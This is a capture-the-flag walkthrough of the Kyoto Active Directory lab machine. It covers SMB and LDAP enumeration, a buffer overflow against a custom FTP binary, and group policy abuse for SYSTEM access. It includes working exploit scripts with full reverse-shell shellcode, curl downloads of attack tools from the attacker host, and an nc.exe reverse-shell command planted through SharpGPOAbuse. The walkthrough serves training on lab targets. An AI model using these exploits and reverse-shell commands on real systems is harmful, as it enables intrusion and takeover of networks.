Kyoto Proving Grounds Practice Walkthrough (Active Directory)

0xRave
9 min readNov 12, 2023

--

Kyoto is a windows machine that allow you to practice active directory privilege escalation. The initial foothold is much more unexpected.

Photo by Erik Eastman on Unsplash

Enumeration

nmap -p- $IP -Pn -sT -v -A --open -T 4 -oN nmap.txt

We discover multiple port open, and we notice ldap running. This is a Windows AD machine.

Checking Port 21 FTP

Try to login with default credential such as admin:admin ftp:ftp anonymous login and etc but none of it works.

Move to Port 389 LDAP

We gonna use ldapsearch to look for any low-hanging fruit such as credentials. To get the root domain, we use nmap --script "ldap* and not brute" $ip -p 389 -v -Pn -sT

The nmap command means that we want to run all the scripts whose names start with ldap but exclude any script whose name includes the word brute . We can check what ldap script nmap has via ls /usr/share/nmap/scripts/ | grep ldap

nmap ldap script result

Then we run ldapsearch -x -H ldap://$ip -b “dc=Kyotosoft,DC=com”

The -b parameter in the ldapsearch command specifies the base DN (Distinguished Name) for the search. The DN is essentially the starting point in the LDAP directory tree from which the search will begin. Think of it as the root of your search within the LDAP structure.

Without it, the LDAP server might not know where to begin the search or could potentially search the entire directory, which might not be permitted or could take a long time if the directory is large.

For example, if you only wanted information about users within the KyotoSoft.com domain, you would start at that base DN to ensure the search only returns relevant results.

ldapsearch result

From the error, it requires a valid credential to authenticate.

Let’s move on to Port 445

Check if the SMB support anonymous login and list share folder, if any. smbclient -L //$IP . For prompt password, you can try anonymous or blank by simply pressing enter.

SMB share folder

The dev folder seems interesting, not a default SMB shared folder name. Let check the folder. smbclient \\\\$IP\\dev

We found 2 files in the share folder via dir, download it to our kali machine to further enumerate. get $Filename

list and download file from smb

Checking the binary file

The text file content seems nothing much, move on to the ftp.exe . We use strings ftp.exe to check any string in the binary file.

Credential found

We found a credential in the binary, it could be ftp credential, since the binary name ftp.exe. We then try to login to ftp with the credential, but does not work.

Expect the Unexpected

Also tried with ldapsearch with the credential, but none of it work. Also try enumerate more but does not find any thing and we are stuck T-T. So I decide to check on offsec walkthrough. (yea, checking walkthrough is one of the way to learn, nothing to be shame of. Just ensure we understand how the reason behind why or what lead us to this path than just copy paste the payload.)

By checking the walkthrough, it is related to buffer over flow, from the ftp.exe file. (Buffer Overflow has been removed from OSCP since 2023)

To be honest I am not familiar with buffer overflow exploit, but I try my best to give a high level of explanation here.

Analyze the ftp.exe in Ghidra (or IDA), we discover the login function does not have limit the length of parameter.

Found login function via Ghidra

A high level of how to exploit Buffer Overflow. If you just want the payload, you can scroll to “The final payload

Finding EIP location

*This BOF example is base on old OSCP module that has BOF.

  • First, find the length of text we need to send in order to make it overflow. This can be done via msf-pattern_create -l 800 to generate a pattern string that has 800 length, then use a python script to send the bytes over. At the same time, you need to run the ftp.exe at a windows machine, attach to immunity debugger.
  • Once we send the 800 char over, check immunity debugger EIP value. Copy that value and msf-pattern_offset -l 800 -q 41306A41 to check the offset value. If you got 270, which mean after 270 length send, the 271 char will over flow.
  • Check if we can control EIP address by sending “A” * 270 + “B” * 4 + “C” * 426. 01AF745C is where we can inject our reverse shell payload. The reason not 0xAF7458 (the first row of CCCC) if because we want of offset abit before we inject our payload. ** Do take note the python script show here in incomplete as it does not include sending the buff to the target. it could be a HTTP POST request, subject to your scenario. And it is not applicable to this machine exploit.
#!/usr/bin/python 

import socket

try:

print "\nSending evil buffer..."

filler = "A" * 780
eip = "B" * 4
offset = "C" * 16

inputBuffer = filler + eip + offset
immunity debugger check for the address to inject payload

Checking bad characters

  • Next is checking for bad character. If there is bad character in payload it will prevent the payload to function.
#!/usr/bin/python 

import socket
#Create a list of badchar and send to the target to check
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

try:

print "\nSending evil buffer..."

filler = "A" * 780
eip = "B" * 4
offset = "C" * 16

inputBuffer = filler + eip + offset + badchars
  • After send the bad chars, back to immunity debugger. Check for the hex dump. We notice the hex dump, compare to the bad chars we send, 07 08 09 should follow with 0a 0b but it turn to 00. Which mean 0a is bad characters.
Hex dump
  • Repeat this step untill we able to see FF(the last bad chars we send) able to show in the hex dump.

Finding Return address JMP ESP

  • Next task is to find a way to redirect the execution flow to the shellcode located at the memory address that the ESP register is pointing to by replacing the B’s. Which is replacing the EIP address. However ESP address always change when the system crash, hence we need to rely on JMP ESP. Where JMP ESP instruct to jump to the address pointed by ESP when execute.
  • We have to find JMP ESP use by the system module(.DLL) and it address. At the bottom of immunity debugger, there is a text field allow us to use a tools call mona. !mona modules . This show all DLLs loaded by the .exe file into the process memory.
load mona modules
  • In the list, we need to find the DLL that belong to the .exe, and have SafeSEH, ASLR and NXcompat as false, these protection is to prevent buffer overflow. At the same time we want to avoid bad character include in the DLL base address. From diagram above, 0x1000000 LIBSPP.DLL match our need.
  • We search for JMP ESP using the hex representation of the opcode (0xFFE4) in LIBSPP.DLL with mona.py !mona find -s “\xff\xe4” -m “libspp.dll”
  • From mona find result, you will find a address 0x10090c83 with \xff\xe4 in libspp.dll and fortunately the address does not contain any bad char.
  • Now we can add this address to our EIP address. The address enter has to be in reverse order due to endian byte order. The OS can store address and data in memory in different format which is depend on the architecture and OS running on. Little endian is most widely used format by x86 and AMD64.

Generating Shell code

msfvenom -p windows/shell_reverse_tcp LHOST=$KaliIP LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" 

The python script look like this.

#!/usr/bin/python
import socket

try:
print "\nSending evil buffer..."

shellcode = ("\xda\xc9\xd9\x74\x24\xf4\xbb\x40\x4c\x48\xf1\x5e\x29\xc9"
"\xb1\x52\x31\x5e\x17\x83\xc6\x04\x03\x1e\x5f\xaa\x04\x62"
"\xb7\xa8\xe7\x9a\x48\xcd\x6e\x7f\x79\xcd\x15\xf4\x2a\xfd"
"\x5e\x58\xc7\x76\x32\x48\x5c\xfa\x9b\x7f\xd5\xb1\xfd\x4e"
"\xe6\xea\x3e\xd1\x64\xf1\x12\x31\x54\x3a\x67\x30\x91\x27"
"\x8a\x60\x4a\x23\x39\x94\xff\x79\x82\x1f\xb3\x6c\x82\xfc"
"\x04\x8e\xa3\x53\x1e\xc9\x63\x52\xf3\x61\x2a\x4c\x10\x4f"
"\xe4\xe7\xe2\x3b\xf7\x21\x3b\xc3\x54\x0c\xf3\x36\xa4\x49"
"\x34\xa9\xd3\xa3\x46\x54\xe4\x70\x34\x82\x61\x62\x9e\x41"
"\xd1\x4e\x1e\x85\x84\x05\x2c\x62\xc2\x41\x31\x75\x07\xfa"
"\x4d\xfe\xa6\x2c\xc4\x44\x8d\xe8\x8c\x1f\xac\xa9\x68\xf1"
"\xd1\xa9\xd2\xae\x77\xa2\xff\xbb\x05\xe9\x97\x08\x24\x11"
"\x68\x07\x3f\x62\x5a\x88\xeb\xec\xd6\x41\x32\xeb\x19\x78"
"\x82\x63\xe4\x83\xf3\xaa\x23\xd7\xa3\xc4\x82\x58\x28\x14"
"\x2a\x8d\xff\x44\x84\x7e\x40\x34\x64\x2f\x28\x5e\x6b\x10"
"\x48\x61\xa1\x39\xe3\x98\x22\x86\x5c\x6f\x9e\x6e\x9f\x6f"
"\xde\xd5\x16\x89\x8a\x39\x7f\x02\x23\xa3\xda\xd8\xd2\x2c"
"\xf1\xa5\xd5\xa7\xf6\x5a\x9b\x4f\x72\x48\x4c\xa0\xc9\x32"
"\xdb\xbf\xe7\x5a\x87\x52\x6c\x9a\xce\x4e\x3b\xcd\x87\xa1"
"\x32\x9b\x35\x9b\xec\xb9\xc7\x7d\xd6\x79\x1c\xbe\xd9\x80"
"\xd1\xfa\xfd\x92\x2f\x02\xba\xc6\xff\x55\x14\xb0\xb9\x0f"
"\xd6\x6a\x10\xe3\xb0\xfa\xe5\xcf\x02\x7c\xea\x05\xf5\x60"
"\x5b\xf0\x40\x9f\x54\x94\x44\xd8\x88\x04\xaa\x33\x09\x34"
"\xe1\x19\x38\xdd\xac\xc8\x78\x80\x4e\x27\xbe\xbd\xcc\xcd"
"\x3f\x3a\xcc\xa4\x3a\x06\x4a\x55\x37\x17\x3f\x59\xe4\x18"
"\x6a")

filler = "A" * 780
eip = "\x83\x0c\x09\x10"
offset = "C" * 4
buff = "D" * (1500 - len(filler) - len(eip) - len(offset))
nops = "\x90" * 10

inputBuffer = filler + eip + offset + nops + shellcode

NOPs, represented by the opcode 0x90 in x86 assembly, are used in buffer overflow payloads to create a NOP sled, which serves as a safe landing zone that leads to the actual shellcode. This technique simplifies the exploit by allowing for a less precise memory address to be targeted for the overflow; as long as the execution flow hits the NOP sled, it will slide down to the malicious code. NOPs can also help with alignment and avoiding null bytes, although modern security features like DEP and ASLR have reduced their effectiveness.

Finally, run the python script and send the payload to the target machine with a nc listener running on kali machine, we should able to get our reverse shell.

The Final Payload

So back to our ftp.exe .

#generate reverse shell payload
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=$KaliIP LPORT=443 -f python -v sc
reverse shell payload

Then replace the sc portion. The final payload as per below.

If you fail to import pwn, try

python3 -m pip install — upgrade pip
python3 -m pip install — upgrade pwntools

#!/usr/bin/python3

from pwn import *

sc = b""
sc += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
sc += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
sc += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
sc += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
sc += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
sc += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
sc += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
sc += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
sc += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
sc += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
sc += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
sc += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
sc += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
sc += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
sc += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
sc += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
sc += b"\x2d\x9a\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
sc += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
sc += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
sc += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
sc += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
sc += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
sc += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
sc += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
sc += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
sc += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
sc += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

buf = b""
buf += b"A"*270
buf += p32(0x004016be)
buf += sc

p = remote('$TargetIP', 21, level='debug') #Change $TargetIP to your target IP
p.recvuntil(b"220")
p.sendline(b"USER Banana")
p.recvuntil(b"331")
p.sendline(b"PASS "+buf)
p.recvuntil(b"430")
p.interactive()

Setup nc listener and execute the python payload.

Execute bof exploit
When you do too much linux machine

Capture our first flag at the current user home directory.

Privilege Escalation

We found that we are Group policy group and GPO admin group. We can abuse the GPO policy.

https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_x64/SharpGPOAbuse.exe

At first I was thinking to add my user to administrator group, but we will require password to prompt a new cmd which has admin privilege where we don't have password, even we would like to change password, we don’t have the permission either.

Hence, we decided to create a new task that executes nc.exe connected to our kali machine. Before that, we need to find out the policy name, normally, by default, it is “Default Domain Policy”. Just to ensure, we can get powerview.ps1 to the target machine and check.

#At kali machine, powerview.ps1 should at /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
python3 -m http.server 80
#At target machine, download powerview.ps1,
cd c:\temp
curl http://$kaliIP/powerview.ps1 -o powerview.ps1
#switch to powershell
powershell
. .\powerview.ps1
Get-NetGPO

Dot-sourcing(. .\) is commonly used with PowerShell scripts that define a set of functions that you want to use interactively in your session. Instead of running the script and losing all its context as soon as the script finishes executing, dot-sourcing keeps everything loaded so you can call upon those resources afterwards.

Now let’s proceed with the SharpGPOAbuse.

#Transfer nc.exe to the target machine, nc.exe can be found at /usr/share/windows-resources/binaries/nc.exe
#At kali machine
python3 -m http.server 80
#At target machine, download binaries
cd c:\temp
curl http://$kaliIP/nc.exe -o nc.exe
curl http://$kaliIP/SharpGPOAbuse.exe -o sharp.exe
#Execute Sharp.GPOAbuse.exe, below command execute in powershell
./sharp.exe --AddComputerTask --TaskName "test" --Author "Administrator" --Command "cmd.exe" --Arguments "/c c:\temp\nc.exe $KaliIP 80 -e cmd.exe" --GPOName "Default Domain Policy"
#At kali machine
nc -nlvp 80
#At target machine, update the GPO changes
gpupdate /force
SYSTEM shell get.

--

--